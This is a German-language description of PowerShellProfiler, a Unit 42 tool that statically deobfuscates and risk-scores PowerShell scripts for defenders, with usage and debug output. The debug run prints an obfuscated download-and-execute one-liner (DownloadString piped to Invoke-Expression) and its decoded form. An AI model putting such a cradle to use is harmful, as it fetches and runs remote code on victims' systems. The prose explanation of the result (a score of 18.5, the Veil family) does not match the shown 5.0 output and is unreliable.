
PowerShellProfiler
Dieser Projektcode stammt von https://github.com/pan-unit42/public_tools/tree/master/powershellprofiler
PowerShellProfiler.py ist ein Skript zur statischen Analyse von PowerShell-Skripten, indem der Inhalt deobfuskiert und normalisiert wird, der anschließend auf Verhaltensindikatoren profiliert wird. Diese Verhaltensweisen werden dann bewertet, und die Summe der Bewertungen ergibt eine mögliche Risikostufe für das PowerShell-Skript. Das Tool wurde entwickelt, um einen praktischen Ansatz für die Massenanalyse von PowerShell-Skripten aufzuzeigen und Blue Teams mit einem weiteren Werkzeug zu unterstützen, das die Analyse beschleunigen kann.
In der Unit42-Blogserie – „Practical Behavioral Profiling of PowerShell Scripts through Static Analysis" werden Konzept, Design sowie Vor- und Nachteile dieses Ansatzes zur statischen Profilierung von Verhaltensweisen in PowerShell-Skripten behandelt.
usage: PowerShellProfiler.py [-h] -f <file_name> [-d]
PowerShellProfiler analyzes PowerShell scripts statically to identify and
score behaviors.
optional arguments:
-h, --help show this help message and exit
-f <file_name>, --file <file_name>
PowerShell Script to behaviorally profile
-d, --debug Enables debug output
Die Standardnutzung ist recht einfach. Verwenden Sie einfach das Flag „-f", um einen Dateinamen zu übergeben (PowerShell-Skript, ScriptBlock-Log-Export, Textdatei usw.), und das Skript PowerShellProfiler.py gibt die Ergebnisse aus.
C:\Users\Al1ex\Desktop\PowerShellProfiler>python3 PowerShellProfiler.py -f C:\Users\Al1ex\Desktop\Powershell\1.ps1
C:\Users\Al1ex\Desktop\Powershell\1.ps1 , 5.0 , Mild Risk , 0:00:00.008002 , [Downloader - 1.5 | Script Execution - 1.5 | One Liner - 2.0]

Die Ausgabe ist kommagetrennt und verwendet die folgenden Felder:
File Name , Profiling Score , Proposed Risk Level , Analysis Runtime , Behaviors (pipe-delimited)
In diesem Fall wurde für die Datei „1.ps1" festgestellt, dass sie Merkmale/Verhaltensweisen aufweist, die darauf hindeuten, dass das Skript Inhalte herunterladen, einen Prozess starten, zusätzliche Skriptinhalte ausführen, Komprimierung verwenden und eine Art von Systeminformationen auflisten kann. Das gesamte Skript passt in eine einzelne Zeile, und es gibt Muster, die mit einer bekannten Malware-Familie namens „Veil" übereinstimmen. Diese Verhaltensweisen werden einzeln bewertet und ergeben zusammen 18,5, was in den Bereich des höchsten Risikos fällt.
Zusätzlich gibt es einen „Debug"-Modus mit dem Flag „-d", der sich zur Fehlerbehebung bei fehlgeschlagener Dekodierung/Deobfuskierung, langen Laufzeiten, zur Analyse dekodierter Inhalte auf neue Verhaltensweisen und allgemein für eine ausführlichere Ausgabe eignet.
C:\Users\Al1ex\Desktop\PowerShellProfiler>python3 PowerShellProfiler.py -d -f C:\Users\Al1ex\Desktop\Powershell\1.ps1
Opened File C:\Users\Al1ex\Desktop\Powershell\1.ps1
[+] Normalization Function
[!] Format Replaced - True: 0:00:00.000997
[!] Format Replaced - True: 0:00:00
[+] Normalization Function
[+] Normalization Function
##### TIMING / MATCH #####
Main Processing: 0:00:00.003988
Family ID: 0:00:00.001995
Behavior Check - Code Injection: 0:00:00
Behavior Check - Key Logging: 0:00:00
Behavior Check - Screen Scraping: 0:00:00
Behavior Check - AppLocker Bypass: 0:00:00
Behavior Check - AMSI Bypass: 0:00:00
Behavior Check - Clear Logs: 0:00:00
Behavior Check - Coin Miner: 0:00:00
Behavior Check - Embedded File: 0:00:00
Behavior Check - Abnormal Size: 0:00:00
Behavior Check - Ransomware: 0:00:00
Behavior Check - DNS C2: 0:00:00
Behavior Check - Disabled Protections: 0:00:00
Behavior Check - Negative Context: 0:00:00
['DownloadString']
Behavior Check - Downloader: 0:00:00
Behavior Check - Starts Process: 0:00:00
['Invoke-Expression']
Behavior Check - Script Execution: 0:00:00
Behavior Check - Compression: 0:00:00
Behavior Check - Hidden Window: 0:00:00
Behavior Check - Custom Web Fields: 0:00:00
Behavior Check - Persistence: 0:00:00
Behavior Check - Sleeps: 0:00:00
Behavior Check - Uninstalls Apps: 0:00:00
Behavior Check - Obfuscation: 0:00:00
Behavior Check - Crypto: 0:00:00
Behavior Check - Enumeration: 0:00:00
Behavior Check - Registry: 0:00:00
Behavior Check - Sends Data: 0:00:00
Behavior Check - Byte Usage: 0:00:00
Behavior Check - SysInternals: 0:00:00
Behavior Check - One Liner: 0:00:00
Behavior Check - Variable Extension: 0:00:00
Behavior Check - Script Logging: 0:00:00
Behavior Check - License: 0:00:00
Behavior Check - Function Body: 0:00:00
Behavior Check - Positive Context: 0:00:00
Behavior ID: 0:00:00.010971
C:\Users\Al1ex\Desktop\Powershell\1.ps1 , 5.0 , Mild Risk , 0:00:00.018915 , [Downloader - 1.5 | Script Execution - 1.5 | One Liner - 2.0]
##### ORIGINAL SCRIPT #####
.("{4}{1}{0}{2}{3}" -f 'Express','-','io','n','Invoke') (&("{2}{0}{3}{1}"-f 'e','-Object','N','w') System.Net.WebClient).DownloadString("http://127.0.0.1:4444/Al1ex.txt")
##### ALTERED SCRIPT #####
."Invoke-Expression" (&"New-Object" System.Net.WebClient).DownloadString("http://127.0.0.1:4444/Al1ex.txt")
C:\Users\Al1ex\Desktop\PowerShellProfiler>
